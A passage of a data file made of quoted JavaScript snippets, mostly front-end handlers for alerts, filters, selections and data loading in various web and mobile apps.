showMoreAlarmSummaryData(true);\r\n }","_list() {\n this._listPromise().then((json) => {\n this._alerts = json;\n this._render();\n this._openOnLoad();\n }).catch(errorMessage);\n }","function handleFilterSelected() {\n $('main').on('change', '#filter', function(event) {\n store.filter = $(this).val()\n render();\n })\n}","function updateAlertsList(){\n $( \"#traffic_alerts_list\" ).html(\"\");\n $.each(traffic.alerts, function( index, item ) {\n if ($.inArray(item.type, alertsType) < 0) {\n alertsType.push(item.type); \n }\n if (item.type == 'WEATHERHAZARD'){\n if ($.inArray(item.subtype, WEATHERHAZARD_SubType) < 0) {\n WEATHERHAZARD_SubType.push(item.subtype); \n } \n }\n });\n\n $.each(alertsType, function( index, item ) { \n if (item == 'WEATHERHAZARD'){\n $( \"#traffic_alerts_list\" ).append( \"\" + item + \" \" );\n }else{\n $( \"#traffic_alerts_list\" ).append( \"\" + item + \" \" );\n }\n });\n $('#traffic_alerts_list li').on( 'click', function () {\n specific_alert = $(this).attr('data-to-show');\n $('#title').html('Traffic Alerts ' + specific_alert + ''); \n subtype_alert = \"NO_SUBTYPE\";\n showAlerts(true);\n updateMap();\n });\n\n $.each(WEATHERHAZARD_SubType, function( index, item ) {\n if (item.indexOf(\"HAZARD_ON_ROAD_\") < 0 && item.indexOf(\"HAZARD_ON_SHOULDER_\") < 0 && item.indexOf(\"HAZARD_WEATHER_\") < 0){\n if (item.trim() == \"\"){\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"NO_SUBTYPE \" );\n }else{\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"\" + item.substring(0, 20) + \" \" );\n }\n \n }else{\n if (item.indexOf(\"HAZARD_ON_ROAD_\") >= 0){\n var pos = \"HAZARD_ON_ROAD_\".length;\n var li_text = item.substring(pos,item.length);\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"\" + li_text + \" \" );\n }\n if (item.indexOf(\"HAZARD_ON_SHOULDER_\") >= 0){\n var pos = \"HAZARD_ON_SHOULDER_\".length;\n var li_text = item.substring(pos,item.length);\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"\" + li_text + \" \" );\n }\n if (item.indexOf(\"HAZARD_WEATHER_\") >= 0){\n var pos = \"HAZARD_WEATHER_\".length;\n var li_text = item.substring(pos,item.length);\n $( \"#traffic_alerts_weatherhazard_list\" ).append( \"\" + li_text + \" \" );\n }\n }\n \n });\n\n $('#traffic_alerts_weatherhazard_list li').on( 'click', function () {\n specific_alert = \"WEATHERHAZARD\";\n subtype_alert = $(this).attr('data-to-show');\n $('#title').html('Traffic Alerts ' + subtype_alert +'');\n showAlerts(true);\n updateMap();\n });\n \n }","function getAlerts() {\n\t$.get(\"/load_charts/get-stats/?threshold=\"+threshold.toFixed(2), function (data){ \n\t\tvar alertJson = JSON.parse(data);\n\t\tupdateAlert(alertJson); \n\t\tupdateStats(alertJson); \n\t});\n}","focus(){\n\n // pass stream of favorite\n // places to knockout observable\n this._filterSub =\n this._placesService\n .favorites()\n .subscribe(favorites => {\n this.places(favorites);\n });\n }","function onLoad() {\r\n onRestore();\r\n $('release-notes').addEventListener('click', onVisitReleaseNotes, false)\r\n $('button-save').addEventListener('click', onSave, false);\r\n $('button-close').addEventListener('click', onClose, false);\r\n $('exclusion-filter-list-add').addEventListener('click', onFilterListAdd, false);\r\n $('exclusion-filter-list-remove').addEventListener('click', onFilterListRemove, false);\r\n $('exclusion-filter-list-remove-all').addEventListener('click', onFilterListRemoveAll, false);\r\n \r\n $('inclusion-filter-list-add').addEventListener('click', onFilterListAdd, false);\r\n $('inclusion-filter-list-remove').addEventListener('click', onFilterListRemove, false);\r\n $('inclusion-filter-list-remove-all').addEventListener('click', onFilterListRemoveAll, false);\r\n \r\n $('visit-extensions').addEventListener('click', onVisitExtension, false);\r\n \r\n exlusionDialog = new DialogController('exclusion-add-filter-dialog');\r\n exlusionDialog.addEventListener('click', onDialogOk);\r\n exlusionDialog.addEventListener('load', onDialogLoad);\r\n exlusionDialog.setTemplate({header: 'Filter Text', ok: 'Add'});\r\n exlusionDialog.init();\r\n \r\n inclusionDialog = new DialogController('inclusion-add-filter-dialog');\r\n inclusionDialog.addEventListener('click', onDialogOk);\r\n inclusionDialog.addEventListener('load', onDialogLoad);\r\n inclusionDialog.setTemplate({header: 'Filter Text', ok: 'Add'});\r\n inclusionDialog.init();\r\n}","chooseData() {\n // ******* TODO: PART I *******\n //Changed the selected data when a user selects a different\n // menu item from the drop down.\n\n }","chooseData() {\n // ******* TODO: PART I *******\n //Changed the selected data when a user selects a different\n // menu item from the drop down.\n\n }","function incidentsContentViewModel() {\r\n var self = this;\r\n self.loadIncident = function (data) {\r\n console.log(data);\r\n history.pushState(null, '', 'index.html?root=incident&id=' + data);\r\n oj.Router.sync();\r\n };\r\n\r\n self.getUrl = function () {\r\n var urlParams = config.url + 'alerts/';\r\n urlParams = urlParams + \"?loc=\" + rootViewModel.currentLocationID();\r\n urlParams = urlParams + \"&type=\" + self.alertType();\r\n urlParams = urlParams + \"&start=\" + self.start;\r\n urlParams = urlParams + \"&end=\" + self.end;\r\n return urlParams;\r\n };\r\n\r\n self.alertType = ko.observable('Temp');\r\n\r\n self.setAlertType = function (alertType) {\r\n console.log(alertType);\r\n self.alertType(alertType);\r\n self.loadData();\r\n };\r\n\r\n self.ready = ko.observable(false);\r\n var rootViewModel = ko.dataFor(document.getElementById('globalBody'));\r\n self.currentLocation = ko.observable();\r\n\r\n self.incidents = ko.observableArray();\r\n self.tempTotal = ko.observable(0);\r\n self.energyTotal = ko.observable(0);\r\n self.otherTotal = ko.observable(0);\r\n\r\n\r\n\r\n\r\n\r\n // self.prod = rootViewModel.prod();\r\n self.prod = true;\r\n\r\n\r\n\r\n /*Load Data*/\r\n self.loadData = function () {\r\n return new Promise(function (resolve, reject) {\r\n\r\n if (self.prod) {\r\n url = self.getUrl();\r\n console.log(url)\r\n } else {\r\n url = 'js/data/mock/incidents.json';\r\n }\r\n\r\n jsonData.fetchData(url).then(function (incidents) {\r\n self.incidents.removeAll();\r\n \r\n if(self.alertType()==='Temp'){\r\n self.tempTotal(incidents.length) \r\n }\r\n \r\n if(self.alertType()==='Energy'){\r\n self.energyTotal(incidents.length) \r\n }\r\n \r\n \r\n self.incidents(incidents);\r\n self.ready(true);\r\n resolve(true);\r\n }).fail(function (error) {\r\n console.log(error);\r\n resolve(false);\r\n });\r\n });\r\n\r\n };\r\n\r\n /*Location Change*/\r\n self.locationChange = ko.computed(function () {\r\n // self.currentLocation(rootViewModel.currentLocationID());\r\n // self.loadData();\r\n });\r\n\r\n self.start = moment().subtract(6, 'days');\r\n self.end = moment();\r\n self.dateText = ko.observable();\r\n\r\n\r\n\r\n self.handleAttached = function () {\r\n $(\"#reportrange\").daterangepicker({startDate: self.start,\r\n endDate: self.end,\r\n ranges: {\r\n 'Today': [moment(), moment()],\r\n 'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],\r\n 'Last 7 Days': [moment().subtract(6, 'days'), moment()],\r\n 'Last 30 Days': [moment().subtract(29, 'days'), moment()],\r\n 'This Month': [moment().startOf('month'), moment().endOf('month')],\r\n 'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]\r\n }\r\n }, self.datePicked);\r\n };\r\n\r\n // $('#reportrange span').html(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'));\r\n\r\n self.datePicked = function (start, end) {\r\n // console.log(moment(start).unix(), moment(end).unix());\r\n self.start = start;\r\n self.end = end;\r\n self.dateText(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'))\r\n self.loadData();\r\n };\r\n\r\n// self.datePicked(self.start, self.end);\r\n self.dateText(self.start.format('MMMM D, YYYY') + ' - ' + self.end.format('MMMM D, YYYY'))\r\n self.loadData();\r\n }","handleReadAlert(alert) {\n }","alertmanagers() {\r\n return this.request('GET', 'alertmanagers');\r\n }","loadStaticActivity(e) {\n \n var myClick = document.getElementById('filterText'); \n myClick.value = e;\n myClick.addEventListener('change',function(){ \n this.store.set({ filter: e })\n }); \n myClick.dispatchEvent(new Event('change'));\n \n }","function popup1() {\nalert(\"Filter text box provides the user to filter out the sessions which respond true for the corresponding user query for which the filter option is being run.\");\n}","function onFilter() {\n \n if(store.fromDate === null || store.toDate === null) {\n return;\n }\n \n el.innerHTML = loader();\n \n store.headers = {\n name: 'Name',\n symbol: 'Symbol',\n avg_price: 'Avg Price',\n volume: 'volume',\n change: 'change %'\n }\n \n setTimeout(function() {\n el.innerHTML = null;\n document.getElementById('filter-message').innerHTML = _filters();\n _renderStocks()\n }, 1000)\n \n \n \n}","function dataRequestFromFilters(filtObj){\n $(\"#filters\").on(\"change\", \"select\", function() {\n $(\".mdl-spinner\").addClass(\"is-active\");\n $.get(filtObj.url, function(data) {\n \n outputFilteredRows(data);\n })\n .always(function() {\n $(\".mdl-spinner\").removeClass(\"is-active\");\n });\n });\n}","function filterHandler(){\n $(\"#filter-btn\").on(\"click\", function(){\n let selection = $(\"#sort\").val();\n if(selection === \"oldest\" || selection === \"newest\" || selection === \"rating\"){\n if(!getIds().length) return;\n let ids = getIds();\n $.get(\"/kimochis/filter\", \n {selection: selection, name: localStorage.getItem(\"inputText\")}, function(data){\n $(\"#main\").html(data);\n $(\"#more-btn\").attr({\"disabled\": false, \"hidden\": false});\n });\n }\n });\n}","componentDidMount() {\n this.onShowPlaceholder()\n // add emitter event listener\n // filter and keep only the ones that are 'downloaded'\n Subscriptions.push(\n mrEmitter.addListener('onUpdateData', (updateData) => {\n // adding selected property to tableData\n let tempData = updateData.filter(this.filterDownloader)\n for (let cData of tempData) {\n cData.selected = false\n }\n this.setState({tableData: tempData})\n this.onShowPlaceholderTimeout = setTimeout(() => {\n this.onShowPlaceholder()\n }, 300)\n }),\n // close the toolbar\n mrEmitter.addListener('onCloseToolbar', () => this.onAllChecked('', false))\n )\n }","function initToolSearch(e){\n\t\t\t//get toggle for sold or unsold listings\n\t\t\tlet toggleNum = 1;\n\t\t\tif(toggle === false){\n\t\t\t\ttoggleNum = - 1;\n\t\t\t}else{\n\t\t\t\ttoggleNum = 1;\n\t\t\t}\n\t\t\tlet searchVal = toolSearch.value.toLowerCase() || '';\n\t\t\ttableBody.innerHTML = '';\n\n\t\t\t//display table data of filtered tools. with event listeners for each element\n\t\t\ttoolData.then( (tools)=>{\n\t\t\ttools.filter( (tool)=>{\n\t\t\t\t//String of all the tool categories to search through for a match\n\t\t\t\tlet name = tool.name.toLowerCase();\n\t\t\t\tlet info = tool.description.toLowerCase();\n\t\t\t\tlet brand = tool.brand.toLowerCase();\n\t\t\t\tlet toolid = tool.id;\n\t\t\t\tlet tool_condition = tool.tool_condition.toLowerCase();\n\t\t\t\tlet toolsInfo = name + ' ' + info + ' ' + brand + ' ' + tool_condition + ' ' + toolid;\n\t\t\t\tif(searchVal !== \"\"){\n\t\t\t\t\treturn toolsInfo.match(searchVal);\n\t\t\t\t}\n\t\t\t\tconsole.log('no input text');\n\t\t\t\treturn tool;\n\t\t\t\t\n\t\t\t}).filter((tools)=>{\n\t\t\t\t//return only not sold tools\n\t\t\t\treturn tools.sold == toggleNum;\n\t\t\t}).map( (tool) => {\n\t\t\t\tif(tool.max_price === '0'){\n\t\t\t\t\ttoolMaxPrice = '';\n\t\t\t\t}else{\n\t\t\t\t\ttoolMaxPrice = ' - ' + tool.max_price;\n\t\t\t\t}\n\t\t\t\ttableBody.innerHTML += `\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t ${tool.name} \n\t\t\t\t\t\t\t\t\t\t ${tool.brand} \n\t\t\t\t\t\t\t\t\t\t ${tool.type} \n\t\t\t\t\t\t\t\t\t\t ${tool.description} \n\t\t\t\t\t\t\t\t\t\t ${tool.tool_condition} \n\t\t\t\t\t\t\t\t\t\t ${tool.price} ${toolMaxPrice} \n\t\t\t\t\t\t\t\t\t\t ${tool.id} \n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t`;\n\t\t\t});\n\t\t}).then(\n\t\t\tfunction(){\n\t\t\t\tfor (var i = update.length - 1; i >= 0; i--) {\n\t\t\t\t\tupdate[i].parentElement.addEventListener('dblclick', dblClickHandleUpdate);\n\t\t\t\t\t//update[i].parentElement.addEventListener('click', handleUpdate);\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t}","function employeesContentViewModel() {\n var self = this;\n var data = [{name: \"Have Sleep Problems\", shape: \"human\", count: 7, colour: \"#ed6647\"},\n {name: \"Sleep Well\", shape: \"human\", count: 3}];\n\n self.getColor = function (index) {\n return index === 0 ? '#ed6647' : '';\n };\n //self.dataProvider = ko.observableArray(data);\n self.dataProvider = new ArrayDataProvider(data, {keyAttributes: 'value'});\n\n self.handleNestedOpen = function () {\n document.querySelector('#outerDialog').open();\n };\n self.handleOpen = function (event) {\n var ui = event.detail;\n //AnimationUtils['slideIn'](ui.element).then(ui.endCallback);\n document.querySelector('#innerDialog').open();\n };\n self.handleOKClose = function () {\n document.querySelector('#outerDialog').close();\n };\n self.handleOKClose2 = function () {\n document.querySelector('#innerDialog').close();\n };\n\n\n self.fuelTypes = [{name: 'Bio-Diesel', abbr: 'BD'},\n {name: 'Compressed Natural Gas', abbr: 'CNG'},\n {name: 'Electric Charging', abbr: 'ELEC'},\n {name: 'Ethanol', abbr: 'E85'},\n {name: 'Hydrogen & Fuel Cell', abbr: 'HY'},\n {name: 'Liquefied Natural Gas', abbr: 'LNG'},\n {name: 'Liquefied Petroleum Gas', abbr: 'LPG'}\n ];\n\n //self.handleActivated = function (info) {\n self.cityVal = ko.observable('San Jose');\n self.chartType = ko.observable('pie');\n self.selectVal = ko.observableArray(['CA']);\n self.pieSeriesValue = ko.observableArray([]);\n self.groupsValue = ko.observableArray(['Fuel Types']);\n self.seriesValue = ko.observable();\n\n // provide list of states for use in the select pulldown\n self.States = [\n {label: 'ALABAMA', value: 'AL'},\n {label: 'ALASKA', value: 'AK'},\n {label: 'AMERICAN SAMOA', value: 'AS'},\n {label: 'ARIZONA', value: 'AZ'},\n {label: 'ARKANSAS', value: 'AR'},\n {label: 'CALIFORNIA', value: 'CA'},\n {label: 'COLORADO', value: 'CO'},\n {label: 'CONNECTICUT', value: 'CT'},\n {label: 'DELAWARE', value: 'DE'},\n {label: 'DISTRICT OF COLUMBIA', value: 'DC'},\n {label: 'FEDERATED STATES OF MICRONESIA', value: 'FM'},\n {label: 'FLORIDA', value: 'FL'},\n {label: 'GEORGIA', value: 'GA'},\n {label: 'GUAM', value: 'GU'},\n {label: 'HAWAII', value: 'HI'},\n {label: 'IDAHO', value: 'ID'},\n {label: 'ILLINOIS', value: 'IL'},\n {label: 'INDIANA', value: 'IN'},\n {label: 'IOWA', value: 'IA'},\n {label: 'KANSAS', value: 'KS'},\n {label: 'KENTUCKY', value: 'KY'},\n {label: 'LOUISIANA', value: 'LA'},\n {label: 'MAINE', value: 'ME'},\n {label: 'MARSHALL ISLANDS', value: 'MH'},\n {label: 'MARYLAND', value: 'MD'},\n {label: 'MASSACHUSETTS', value: 'MA'},\n {label: 'MICHIGAN', value: 'MI'},\n {label: 'MINNESOTA', value: 'MN'},\n {label: 'MISSISSIPPI', value: 'MS'},\n {label: 'MISSOURI', value: 'MO'},\n {label: 'MONTANA', value: 'MT'},\n {label: 'NEBRASKA', value: 'NE'},\n {label: 'NEVADA', value: 'NV'},\n {label: 'NEW HAMPSHIRE', value: 'NH'},\n {label: 'NEW JERSEY', value: 'NJ'},\n {label: 'NEW MEXICO', value: 'NM'},\n {label: 'NEW YORK', value: 'NY'},\n {label: 'NORTH CAROLINA', value: 'NC'},\n {label: 'NORTH DAKOTA', value: 'ND'},\n {label: 'NORTHERN MARIANA ISLANDS', value: 'MP'},\n {label: 'OHIO', value: 'OH'},\n {label: 'OKLAHOMA', value: 'OK'},\n {label: 'OREGON', value: 'OR'},\n {label: 'PALAU', value: 'PW'},\n {label: 'PENNSYLVANIA', value: 'PA'},\n {label: 'PUERTO RICO', value: 'PR'},\n {label: 'RHODE ISLAND', value: 'RI'},\n {label: 'SOUTH CAROLINA', value: 'SC'},\n {label: 'SOUTH DAKOTA', value: 'SD'},\n {label: 'TENNESSEE', value: 'TN'},\n {label: 'TEXAS', value: 'TX'},\n {label: 'UTAH', value: 'UT'},\n {label: 'VERMONT', value: 'VT'},\n {label: 'VIRGIN ISLANDS', value: 'VI'},\n {label: 'VIRGINIA', value: 'VA'},\n {label: 'WASHINGTON', value: 'WA'},\n {label: 'WEST VIRGINIA', value: 'WV'},\n {label: 'WISCONSIN', value: 'WI'},\n {label: 'WYOMING', value: 'WY'}\n ];\n\n self.getData = function () {\n // using a Promise to allow the chart to render only once the data is available.\n self.seriesValue(new Promise(function (resolve, reject) {\n var url = \"https://api.data.gov/nrel/alt-fuel-stations/v1/nearest.json?location=\" + self.cityVal() + \"+\" + self.selectVal() + \"&api_key=\"\n $.getJSON(url).then(function (data) {\n var fuels = data.station_counts.fuels;\n var seriesData = [];\n for (var prop in fuels) {\n if (fuels[prop].total > 0) {\n seriesData.push({name: getFuelName(prop), items: [fuels[prop].total]})\n }\n }\n resolve(seriesData);\n });\n }))\n };\n\n // get the long name of the fuel type from the abbreviate returned by the REST service\n var getFuelName = function (prop) {\n for (var i in fuelTypes) {\n if (fuelTypes[i].abbr === prop)\n return fuelTypes[i].name;\n }\n }\n //};\n\n\n self.handleAttached = function (info) {\n // once the DOM is available, call the getData to load defaults\n self.getData();\n };\n\n\n }","beforeFirstRender() {\n // this._selectObserver = observe(() => {\n // const entries = Array.from(this.checklistModel.selectedEntries, entry => {\n // console.log(entry.item.name);\n // return entry.item.name;\n // });\n // this._selectedItemsText = entries.join(', ');\n // });\n }","function selectHandler() {\n var selectedItem = chart.getSelection()[0];\n if (selectedItem) {\n var value = data.getValue(selectedItem.row, 0);\n openPopup(value);\n // console.log('The user selected - ' + value);\n }\n }","function getAlert() {\n return randomSelect([true, false]);\n}","function filterChange() {\n updateFilter();\n pullEvents();\n //put events in page\n}","onResultSelected() {\n const result = document.activeElement;\n if (this.ux.results !== result.parentElement)\n return;\n this.publish(\"selectresult\", JSON.parse(result.dataset.d));\n }","function xcustom_makeActionOnObjectSelection() {\r\n var currentSelectedObject = xcustom_getCurrentSelectedObject();\r\n if (null === currentSelectedObject) {\r\n // console.log('Nothing Selected...');\r\n xcustom_resetAndClosePanelSelectedObjectContent();\r\n $('#xcustom-div-right-panel').hide();\r\n return;\r\n }\r\n // console.log('The Selected Object Is : ', currentSelectedObject);\r\n xcustom_showSelectedObjectDataOnViewer(currentSelectedObject);\r\n}","function alertContents() {\n\tif(httpRequest.readyState === 4) {\n\t\tif (httpRequest.status === 200) {\n\t\t\tJSONObj = JSON.parse(httpRequest.responseText);\n\t\t} else {\n\t\t\talert('There was a problem with the request.'); \n\t\t}\n\t}\n\tJSONObj = filter(JSONObj);\n\tgenerateGistList(JSONObj); \n}","function OnSelect(sender: Object, e: RoutedEventArgs) {\n\t\t\ttry {\n\t\t\t\tSelectRow();\n\t\t\t\tDashboardTaskService.Current.CloseTask(runner);\n\t\t\t} catch (ex: Exception) {\n\t\t\t\tConfirmDialog.ShowErrorDialog(\"Script\", ex);\n\t\t\t}\n\t\t}","selectProduct(select) {\n //get products by name\n this.productService.getProductByName(select.option.value).subscribe(data => {\n let product = data.payload.doc.data();\n product[`doc_id`] = data.payload.doc.id;\n //open selected product in modal\n this.openDialog(product);\n this.clearSearch();\n });\n }","function loadPageDealAll(msg) {\n if(!cache.show_capped_alert) {\n return true;\n }\n cache.show_capped_alert = false;\n bootbox.alert({\n closeButton: false,\n message: 'No records are found for \"' + msg + '\".
Please click Ok to go to see the complete list (All).',\n title: 'Alert',\n callback: function () {\n var AllEle = $(\"#menu_wraper\").find('.item-list-detail:contains(\"All\"):first');\n AllEle.trigger('click');\n }\n });\n }","function showStatus() {\n\n if ((reporteSeleccionado == 13) || (reporteSeleccionado == 14)) {\n\n if (banderas.banderaTodoSeleccionado == 0) {\n if (Calles.length == 0) {\n ngNotify.set('Seleccione al menos una calle', { type: 'error' });\n }\n else {\n modalStatus();\n }\n }\n else if (banderas.banderaTodoSeleccionado == 1) {\n modalStatus();\n }\n }\n }","function filterResult() {\n\t//Add one event listener to the button group and then define what button was clicked depends on the event.target.id\n\t$('.btn-group').on('click', \t\t\t\t\t\t\n\tfunction(event){\n\t\tif (event.target.id === \"all\") {\n\t\t\t$(\".offline\").show(\"slow\");\n\t\t\t$(\".not-exist\").show(\"slow\");\n\t\t\t$(\".online\").show(\"slow\");\n\t\t\t\n\t\t}\n\t\telse if (event.target.id === \"online\") {\n\t\t\t$(\".offline\").hide(\"slow\");\n\t\t\t$(\".not-exist\").hide(\"slow\");\n\t\t\t$(\".online\").show(\"slow\");\n\t\t\t\n\t\t}\n\t\telse {\n\t\t\t$(\".not-exist\").hide(\"slow\");\n\t\t\t$(\".online\").hide(\"slow\");\n\t\t\t$(\".offline\").show(\"slow\");\n\t\t}\n\t});\t\n}","function initAlerts($nyplAlerts, $rootScope, nyplAlertsService) {\n $nyplAlerts.getGlobalAlerts().then(function (data) {\n var alerts = $rootScope.alerts || data;\n $rootScope.alerts =\n nyplAlertsService.filterAlerts(alerts, {current: true});\n $nyplAlerts.alerts = $rootScope.alerts || data;\n }).catch(function (error) {\n throw error;\n });\n }","function viewFilters() {\n let text = '';\n filterArray.forEach(item => (text = text + '\\n\\t' + item));\n let statusText = disabled ? 'disabled' : 'enabled';\n alert('Installed Filters (currently' + statusText + '):' + text);\n}","function initFirstFilter(){\n var firstFilterWrap = getComponent('first-filter');\n var filterArrays = firstFilterWrap.getElementsByTagName('li');\n\n [].forEach.call(filterArrays,function (item) {\n item.addEventListener('click',selected)\n })\n\n function selected(e){\n if(this.firstElementChild.classList.contains('selected')){\n return;\n }\n removeSelected();\n console.log(e);\n this.firstElementChild.classList.add('selected');\n if(this.innerText === 'All'){\n window.firstFilterStatus = 0;\n }else if(this.innerText === 'Active'){\n window.firstFilterStatus = 1;\n }else{\n window.firstFilterStatus = 2;\n }\n update();\n }\n\n function removeSelected(){\n [].forEach.call(filterArrays,function (item) {\n if(item.firstElementChild.classList.contains('selected')){\n item.firstElementChild.classList.remove('selected');\n }\n })\n }\n}","function bindSelect() {\n initializeTimeFunction();\n extent = brush.extent(); //data of selection\n userTimeData = [];\n\n extent.forEach(function (element) {\n var t = String(element.getTime() / 1000 * 1000);\n userTimeData.push(t);\n });\n\n if ($scope.fingerPrintsMode) {\n clearFingerprintHeatmap();\n $scope.showFingerprintHeatmap();\n document.getElementById(\"fingerPrints-mode\").classList.add('quickaction-selected');\n }\n\n if ($scope.radioHeatmapRSSMode) {\n clearFingerprintCoverage();\n $scope.showFingerprintCoverage();\n $scope.radioHeatmapRSSMode = true;\n if (typeof (Storage) !== \"undefined\" && localStorage) {\n localStorage.setItem('radioHeatmapRSSMode', 'YES');\n }\n $scope.anyService.radioHeatmapRSSMode = true;\n document.getElementById(\"radioHeatmapRSS-mode\").classList.add('quickaction-selected');\n }\n }","constructor() {\n riot.observable(this);\n this.listenToSelectedUpdate();\n }","function showSLASummary() {\n\tvar grid = View.panels.get('slaList');\n\tView.controllers.get(0).trigger('app:operation:express:sla:showSLASummaryPopUp',\n\t\t\tgrid.rows[grid.selectedRowIndex].row);\n}","function filterTypeSelection(e){\n if(e.target.value === ''){\n getInventory()\n } else {\n axios.get(`/inventory/search/dept?dept=${e.target.value}`)\n .then(res => setItems(res.data))\n .catch(err => alert(err))\n }\n }","function onShowDetail(element) {\r\n try {\r\n var dataId = jQuery(element).attr('data-id');\r\n\r\n g_currentOperation = dataId;\r\n\r\n if (!dataId || dataId.length <= 0) {\r\n dataId = WotpUtilityCommon.CurrentOperations.None;\r\n }\r\n\r\n //passing the filter info to load detail data\r\n loadDataDetail(dataId);\r\n\r\n } catch (e) {\r\n nlapiLogExecution('ERROR', 'Error during main onShowDetail', e.toString());\r\n }\r\n}","function createAlert() {\n\tvar local_current_hash = 0;\n\n\tif ((local_current_hash = save_search()) != false) {\n\t\t// activation de l'alerte\n\t\tswitch_alert_from_search('', local_current_hash);\n\t\t$('#popupCreateAlert').popup('open');\n\t}\n\telse {\n\t\t$('#popupAlreadyExistsAlert').popup('open');\n\t}\n}","function filterData(data) {\n var regionFilter = typeof(ClientContext)==='object' ? ClientContext.get('profile/region') : ALL_REGIONS;\n var soaIDFilter = typeof(ClientContext)==='object' ? ClientContext.get('/profile/soaId') : ALL_SOAID;\n var pageFilter = alertSelf.attr('data-alert-filter');\n\n var jsonObj = {};\n jsonObj['alerts'] = [];\n\n for (var i=0; i< data.alerts.length; i++) {\n var alertMsg = data.alerts[i];\n\n if ((isInRegion(alertMsg, regionFilter)|| isInSoiID(alertMsg, soaIDFilter))\n && isOnPage(alertMsg, pageFilter)\n && isOnTime(alertMsg))\n {\n jsonObj['alerts'].push({'message' : cleanUpRTEHtmlMarkup(alertMsg.message),\n 'backgroundColor' : alertMsg.backgroundColor,\n 'textColor' : alertMsg.textColor});\n }\n }\n\n return jsonObj;\n }","function refreshProductsView() {\n let filteredProducts = filterByCountryName(products, countrySelect.value);\n filteredProducts = filterByName(filteredProducts, searchInput.value);\n filteredProducts = sortList(filteredProducts, sortSelect.value);\n filteredProducts = filterByRangeOfPrice(filteredProducts, priceRange.value);\n console.log(filterByRangeOfPrice(filteredProducts, priceRange.value));\n\n renderProducts(filteredProducts);\n}","function _eventTableAllNotificationClicked(e)\n{\n\ttry\n\t{\n\t\tif (Alloy.Globals.currentWindow == \"winMyServices\" && (Alloy.Globals.currentWindow != null || Alloy.Globals.currentWindow != undefined))\n\t\t\tAlloy.Globals.arrWindows[Alloy.Globals.arrWindows.length - 1].close();\n\t\t\t\n\t\tvar nTypeId = e.row.nTypeId;\n\t\tif (nTypeId==\"5\"){\n\t\t\tTi.API.info('ASSOCIATED MESSAGE ROW: '+e.row.nTypeIdVal);\n\t\t\t\n\t\t\t/*var userid = Ti.App.Properties.getObject(\"LoginDetaisObj\");\n\t\t\t\tuserid = (Ti.App.Properties.getObject(\"LoginDetaisObj\") == null ? 0 : Ti.App.Properties.getObject(\"LoginDetaisObj\").userName);*/\n\t\t\t\t\n\t\t\thttpManager.markNotificationMessageAsRead(function(response){\n\t\t\t\t\tif (response=='1')\n\t\t\t\t\t\t$.tableviewAllNotifications.deleteRow(e.index);\n\t\t\t\t\tvar data = {\"response\":\"\", \n\t\t\t\t\t\t\t\t\"idToExpand\":e.row.nTypeIdVal, \n\t\t\t\t\t\t\t\t\"isNoRecord\":\"\" , \n\t\t\t\t\t\t\t\turl : \"\"};\n\t\t\t\t\tAlloy.Globals.openWindow(Alloy.createController(\"Services/MyServices/winMyServices\", data).getView());\n\t\t\t\t},e.row.messageId, (Ti.App.Properties.getObject(\"LoginDetaisObj\") == null ? 0 : Ti.App.Properties.getObject(\"LoginDetaisObj\").userName));\n\t\t}else{\n\t\t\tTi.API.info('WHY OTHER RECORDS CAME HERE... ONLY eSERVICES NOTIFICATION COMES HERE');\n\t\t\treturn;\n\t\t}\n\t\tsetTimeout(function(){$.viewNotificationMain.animate({opacity : 0,duration : 300}, function(e) {$.viewNotificationMain.visible = false;});},500);\n\t}\n\tcatch(e){Ti.API.info(' ############# ERROR IN eSERVICES TABLE NOTIFICATION CLICK ############## '+JSON.stringify(e));}\n}","onGetAll() {\n console.log('getAll action triggered')\n }","componentDidLoad() {\n this.getRenderedTabItems().filter(item => {\n if (item['active']) {\n this.dtmTabTitle = item['tabTitle'];\n this.emitAnalyticsData();\n }\n });\n }","_refresh() {\r\n\t\tthis._lastUpdateCount = this._alertModel.getUpdateCount();\r\n\r\n\t\tthis._div.innerHTML = \"\";\r\n\t\tconst alerts = this._alertModel.getCurrentAlerts();\r\n\t\tfor(let i = 0; i < alerts.length; ++i) {\r\n\t\t\tthis._addAlert(alerts[i]);\r\n\t\t}\r\n\t}","openOnwerFilter(){\n\n var selected = this.template.querySelector(\".selected-owner\");\n var optionsContainer = this.template.querySelector(\".options-container-owner\");\n var optionsList =this.template.querySelectorAll(\".option-owner\");\n selected.addEventListener(\"click\", () => {\n optionsContainer.classList.toggle(\"active\");\n }); \n //selected.addEventListener(\"click\", () => {\n //});\n\n /* optionsList.forEach(o => {\n o.addEventListener(\"click\", () => {\n selected.innerHTML = o.querySelector(\"label\").innerHTML;\n optionsContainer.classList.remove(\"active\");\n });\n });\n */\n }","_handleClick()\n {\n Radio.channel('rodan').trigger(RODAN_EVENTS.EVENT__RESOURCELIST_SELECTED, {resourcelist: this.model});\n }","setAlertCloseToday(){\n \n \n var aujourdhuiplus3 = this.todayplus3days.toLocaleDateString();\n\n this.eventsCloseOftheday =[]; // vide le tableau des alertesCloseToday avant chaque set\n \n for(var eventac of this.events){ // pour chaque date de debut d'event = a la date d'aujourdhuiplus3 jours\n if( eventac.datestartevent == aujourdhuiplus3 ){\n this.addAlertCloseToday(eventac);\n \n }\n \n }\n \n }","function onChangeGoodList(){\n\t\t\t\n\t\t\tif ($(\"#goodsListPopupGrid\").data(\"kendoGrid\").select().length > 0){\n\t\t\t\tvar tr = $(\"#goodsListPopupGrid\").data(\"kendoGrid\").select().closest(\"tr\");\n \t\t\tvar dataItem = $(\"#goodsListPopupGrid\").data(\"kendoGrid\").dataItem(tr);\n \t\t\t\n \t\t\tvm.orderGoodsDetailSearch = dataItem;\n \t\t\t$(\"#goodsCodeAndNameCreExtNote\").text(vm.orderGoodsDetailSearch.goodsCode+\" \"+vm.orderGoodsDetailSearch.goodsName);\n\t\t\t\t\n \t\t\tvar grid = $(\"#goodsDetailGrid\").data(\"kendoGrid\");\t\n \t\t\tif(grid){\n 